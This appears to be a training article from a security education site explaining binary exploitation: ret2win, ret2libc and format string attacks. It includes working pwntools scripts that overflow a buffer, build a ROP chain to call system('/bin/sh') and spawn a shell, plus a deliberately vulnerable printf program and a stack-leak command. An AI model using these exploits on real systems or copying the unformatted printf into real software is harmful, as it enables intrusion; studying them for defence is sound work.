The most popular binary exploitation techniques

from pwn import *           

p = process('./vuln_program')        

payload = b'A' * 52 

payload += p32(0x080491c3)  #target call  «win() function»  

log.info(p.clean())          

p.sendline(payload) 

log.info(p.clean())          

With this technique in place, jumping to desired functions during the program execution is possible, thus bypassing the application controls. 

More details about this topic can be found here. 

ret2libc

Ret2libc is a technique where the redirection flow is based on a returned-oriented programming (ROP) chain to a libc call (system). This approach is precious to bypass some binary protections such as NX (no execution), also known as data execution prevention (DEP) in Windows operating systems.

After finding the memory region of the libc on the operating system where the binary is being exploited, the real address of some functions, including the system call must be calculated based on the base address of the libc. The system call executes any string passed as an argument. The best string to pass into the system call is “/bin/sh,” which obviously will pop up a new system shell. 

A snippet of code representing this kind of exploration can be found below. As observed, libc base address is highlighted 0x7ffff7de5000, and used to calculate the system and /bin/sh string inside the binary memory region. 

After that, the ROP chain is performed, and it can be different depending on the binary vulnerability, target OS, architecture and other external variables. 

Learn Vulnerability Management

Get hands-on experience with dozens of courses covering vulnerability assessments, tools, management and more.

Start Learning

from pwn import *  

p = process('./vuln-64') 

libc_base = 0x7ffff7de5000   #libc base address needed 

system = libc_base + 0x48e20 # address of system call 

binsh = libc_base + 0x18a143  # binsh string to pop a shell 

POP_RDI = 0x4011cb 

payload = b'A' * 72         # The padding 

payload += p64(POP_RDI)     # gadget -> pop rdi; ret 

payload += p64(binsh)       # pointer to command: /bin/sh 

payload += p64(system)      # Location of system 

payload += p64(0x0)         # return pointer - not important once we get the shell 

p.clean() 

p.sendline(payload) 

p.interactive() 

More details about this technique and how to explore it here.

Format string

The format string technique happens every time the user input string is evaluated as a command. This kind of technique can be used to execute code, leak the stack, or even cause a segmentation fault condition.

For instance, the format string parameters %x and %s define the format function's conversion type. With input like this, leaking parts of memory are possible, and this kind of approach can also be used along with the ret2lic as described above.

The following table presents some of the format functions frequently used in this attack.

Looking at the next piece of C code, the print function is vulnerable as the parameter function (%p,%s, etc.) is not specified by default. So, the user can specify it on the input and, thus, take advantage of this exploitation scenario. 

#include  <stdio.h>  

void main(int argc, char **argv) 

{ 

// This line is vulnerable, no parameter specified (%p,%s, etc) 

printf(argv[1]); 

} 

After executing the program with a bunch of %p, stack addresses will be leaked, and find libc base address to execute the ret2lic approach can be done simply. 

./example "Hello World %p %p %p %p %p %p" 

=> output: Hello World 000E133E 000E133E 0057F000 CCCCCCCC CCCCCCCC CCCCCCCC 

More details about this technique here. 

Learn Vulnerability Management

Get hands-on experience with dozens of courses covering vulnerability assessments, tools, management and more.

Start Learning

Popular binary exploitation techniques  

Binary exploitation is one of the most advanced attacks within the pentest landscape to take advantage of memory-unsafe programs. Learning it can be daunting due to the complexity of the binary itself, its protections and how it interacts with different operating systems and multiple architectures. 

For more pentesting and hacking training, check out the Infosec course library.

Sources: 

ROP Emporium Ret2win (64 Bits) Writeup, Hariharan@Blog 

ret2libc, Binary Exploitation 

Format string attack, OWASP